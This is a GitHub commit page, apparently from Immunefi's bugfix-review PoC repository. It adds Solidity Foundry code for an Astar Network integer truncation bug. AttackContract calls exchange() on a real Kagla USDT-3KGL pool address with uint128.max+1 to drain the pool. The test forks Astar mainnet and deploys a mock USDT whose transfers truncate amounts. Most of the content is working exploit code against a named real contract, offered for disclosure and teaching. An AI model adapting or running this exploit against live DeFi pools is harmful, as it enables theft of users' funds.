Skip to content

Commit

Permalink
Merge pull request #8 from hostgame/AstarNetwork
Browse files Browse the repository at this point in the history
Proof of concept for Astar Network integer truncation bug
  • Loading branch information
janbro authored Jan 19, 2024
2 parents d1eb15e + 2ee63e8 commit 9e678b5
Show file tree
Hide file tree
Showing 4 changed files with 118 additions and 0 deletions.
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@ This repository contains all the proof of concepts (POCs) related to the article
| MEV POC| [ForgeSandwichPOC](./test/MEV/Forge/Sandwich.t.sol) | [MEV POC Article](https://medium.com/immunefi/how-to-reproduce-a-simple-mev-attack-b38151616cb4) | `forge test -vvv --match-path ./test/MEV/Forge/Sandwich.t.sol`
| Balancer Rounding Error | [BalancerPoC](./test/Balancer/rounding-error-aug2023/BalancerPoC.sol) | [Balancer Rounding Error Bugfix Review](https://medium.com/immunefi/) | `forge test -vvv --match-path ./test/Balancer/rounding-error-aug2023/BalancerPoC.sol`
| Alchemix Missing Solvency Check | [AlchemixPoC](./test/Alchemix/AttackContract.sol) | [Alchemix Missing Solvency Check](https://medium.com/immunefi/) | `forge test -vvv --match-path ./test/Alchemix/PoCTest.sol --via-ir`
| Astar Network Integer Truncation Bug | [AstarNetworkPoC](./src/AstarNetwork/AttackContract.sol) | [Astar Network Integer Truncation Bug](https://medium.com/immunefi/) | `forge test -vv --match-path ./test/AstarNetwork/AttackTest.t.sol --via-ir`
| Wormhole Uninitialized Proxy | [WormholePoC](./test/Wormhole/WormholeBugFix.t.sol) | [Wormhole Uninitialized Proxy](https://medium.com/immunefi/wormhole-uninitialized-proxy-bugfix-review-90250c41a43a) | `forge test -vvv --match-path ./test/Wormhole/WormholeBugFix.t.sol --via-ir`


Expand Down
79 changes: 79 additions & 0 deletions src/AstarNetwork/AttackContract.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity >0.8.20;
pragma experimental ABIEncoderV2;

import "@immunefi/PoC.sol";
import "forge-std/interfaces/IERC20.sol";
import "./external/IPool.sol";

import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract AttackContract is PoC {
USDT usdt;
IERC20[] tokens = new IERC20[](2);
IPool kaglaPool = IPool(0xDc1C5bAbB4dad3117Fd46d542f3b356D171417fA);

function initiateAttack() public {
usdt = USDT(0xfFFfffFF000000000000000000000001000007C0);
usdt.mint(address(kaglaPool), 267994933776);

tokens[0] = IERC20(kaglaPool.coins(0));
tokens[1] = IERC20(kaglaPool.coins(1));

setAlias(address(kaglaPool), "Kagla Pool");
setAlias(address(this), "AttackContract");

console.log("Draining the Kagla USDT-3KGL pool");
console.log("pool.coins(0): %s", kaglaPool.coins(0));
console.log("pool.coins(1): %s", kaglaPool.coins(1));

snapshotAndPrint(address(kaglaPool), tokens);
snapshotAndPrint(address(this), tokens);

_executeAttack();
}

function _executeAttack() internal {
console.log("Draining pool now...");

// def exchange(i: int128, j: int128, dx: uint256, min_dy: uint256)
uint256 truncatedAmount = uint256(type(uint128).max) + 1;
kaglaPool.exchange(0, 1, truncatedAmount, 0);

_completeAttack();
}

function _completeAttack() internal {
snapshotAndPrint(address(kaglaPool), tokens);
snapshotAndPrint(address(this), tokens);
}
}

contract USDT is ERC20 {
constructor() ERC20("Tether USD", "USDT") {}

function decimals() public pure override returns (uint8) {
return 6;
}

function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
uint128 a = uint128(amount);
return super.transferFrom(sender, recipient, uint256(a));
}

function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
uint128 a = uint128(amount);
return super.transfer(recipient, uint256(a));
}

function mint(address recipient, uint256 amount) public {
_mint(recipient, amount);
}
}
8 changes: 8 additions & 0 deletions src/AstarNetwork/external/IPool.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity >0.8.20;
pragma experimental ABIEncoderV2;

interface IPool {
function coins(uint) external view returns (address);
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external returns (uint256);
}
30 changes: 30 additions & 0 deletions test/AstarNetwork/AttackTest.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

import "../../src/AstarNetwork/AttackContract.sol";

contract AttackTest is Test {
AttackContract attackContract;

function setUp() public {
vm.createSelectFork(
"https://evm.astar.network",
4822542
);

deployCodeTo(
"AttackContract.sol:USDT",
"",
address(0xfFFfffFF000000000000000000000001000007C0)
);

attackContract = new AttackContract();
}

function testAttack() public {
attackContract.initiateAttack();
}
}

0 comments on commit 9e678b5

Please sign in to comment.